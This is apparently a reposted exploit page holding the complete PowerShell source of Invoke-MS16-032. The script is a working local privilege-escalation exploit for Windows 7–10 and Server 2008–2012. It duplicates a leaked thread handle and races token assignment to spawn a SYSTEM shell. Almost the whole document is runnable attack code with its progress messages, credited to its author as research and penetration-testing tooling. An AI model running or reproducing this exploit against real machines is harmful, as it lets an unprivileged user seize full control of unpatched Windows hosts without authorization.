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Microsoft Windows 7<10 / Server 2008-2012 (x32/x64) - Privilege Escalation (MS16-032) (PowerShell)

April 21, 2016 • Security

2k12r2.png

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * Want to know more about MS16-032 ==>
      http://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None
    
.EXAMPLE
    C:\PS> Invoke-MS16-032
#>
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    
    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
        public int Length;
        public int ImpersonationLevel;
        public int ContextTrackingMode;
        public bool EffectiveOnly;
    }
    
    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool SetThreadToken(
            ref IntPtr Thread,
            IntPtr Token);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            int DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle, 
            int DesiredAccess,
            ref IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public extern static bool DuplicateToken(
            IntPtr ExistingTokenHandle,
            int SECURITY_IMPERSONATION_LEVEL,
            ref IntPtr DuplicateTokenHandle);
    }
    
    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentThread();
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern int GetThreadId(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetProcessIdOfThread(IntPtr handle);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int SuspendThread(IntPtr hThread);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int ResumeThread(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            int dwDesiredAccess,
            bool bInheritHandle,
            int dwOptions);
    }
    
    public static class Ntdll
    {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern int NtImpersonateThread(
            IntPtr ThreadHandle,
            IntPtr ThreadToImpersonate,
            ref SQOS SecurityQualityOfService);
    }
"@
    
    function Get-ThreadHandle {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\cmd.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        
        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
        $lpTargetHandle = [IntPtr]::Zero
        $CallResult = [Kernel32]::DuplicateHandle(
            $ProcessInfo.hProcess, 0x4,
            [Kernel32]::GetCurrentProcess(),
            [ref]$lpTargetHandle, 0, $false,
            0x00000002)
        
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        
        $lpTargetHandle
    }
    
    function Get-SystemToken {
        echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
    
        $CallResult = [Kernel32]::SuspendThread($hThread)
        if ($CallResult -ne 0) {
            echo "[!] $hThread is a bad thread, exiting.."
            Return
        } echo "[+] Thread suspended"
        
        echo "[>] Wiping current impersonation token"
        $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
        if (!$CallResult) {
            echo "[!] SetThreadToken failed, exiting.."
            $CallResult = [Kernel32]::ResumeThread($hThread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[>] Building SYSTEM impersonation token"
        # SecurityQualityOfService struct
        $SQOS = New-Object SQOS
        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
        # Undocumented API's, I like your style Microsoft ;)
        $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
        if ($CallResult -ne 0) {
            echo "[!] NtImpersonateThread failed, exiting.."
            $CallResult = [Kernel32]::ResumeThread($hThread)
            echo "[+] Thread resumed!"
            Return
        }
        
        # Null $SysTokenHandle
        $script:SysTokenHandle = [IntPtr]::Zero

        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
        $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
        if (!$CallResult) {
            echo "[!] OpenThreadToken failed, exiting.."
            $CallResult = [Kernel32]::ResumeThread($hThread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
        echo "[+] Resuming thread.."
        $CallResult = [Kernel32]::ResumeThread($hThread)
    }
    
    # main() <--- ;)
    $ms16032 = @"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
"@
    
    $ms16032
    
    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
        Return
    }
    
    echo "[>] Duplicating CreateProcessWithLogonW handle"
    $hThread = Get-ThreadHandle
    
    # If no thread handle is captured, the box is patched
    if ($hThread -eq 0) {
        echo "[!] No valid thread handle was captured, exiting!`n"
        Return
    } else {
        echo "[?] Done, using thread handle: $hThread"
    } echo "`n[*] Sniffing out privileged impersonation token.."
    
    # Get handle to SYSTEM access token
    Get-SystemToken
    
    # If we fail a check in Get-SystemToken, exit
    if ($SysTokenHandle -eq 0) {
        Return
    }
    
    echo "`n[*] Sniffing out SYSTEM shell.."
    echo "`n[>] Duplicating SYSTEM token"
    $hDuplicateTokenHandle = [IntPtr]::Zero
    $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
    
    # Simple PS runspace definition
    echo "[>] Starting token race"
    $Runspace = [runspacefactory]::CreateRunspace()
    $StartTokenRace = [powershell]::Create()
    $StartTokenRace.runspace = $Runspace
    $Runspace.Open()
    [void]$StartTokenRace.AddScript({
        Param ($hThread, $hDuplicateTokenHandle)
        while ($true) {
            $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
        }
    }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
    $AscObj = $StartTokenRace.BeginInvoke()
    
    echo "[>] Starting process race"
    # Adding a timeout (10 seconds) here to safeguard from edge-cases
    $SafeGuard = [diagnostics.stopwatch]::StartNew()
    while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\cmd.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        
        #---
        # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
        #---
        # Missing this check used to cause the exploit to fail sometimes.
        # If CreateProcessWithLogon fails OpenProcessToken won't succeed
        # but we obviously don't have a SYSTEM shell :'( . Should be 100%
        # reliable now!
        #---
        if (!$CallResult) {
            continue
        }
            
        $hTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
        # If we can't open the process token it's a SYSTEM shell!
        if (!$CallResult) {
            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
            Return
        }
            
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

    }
    
    # Kill runspace & stopwatch if edge-case
    $StartTokenRace.Stop()
    $SafeGuard.Stop()
}
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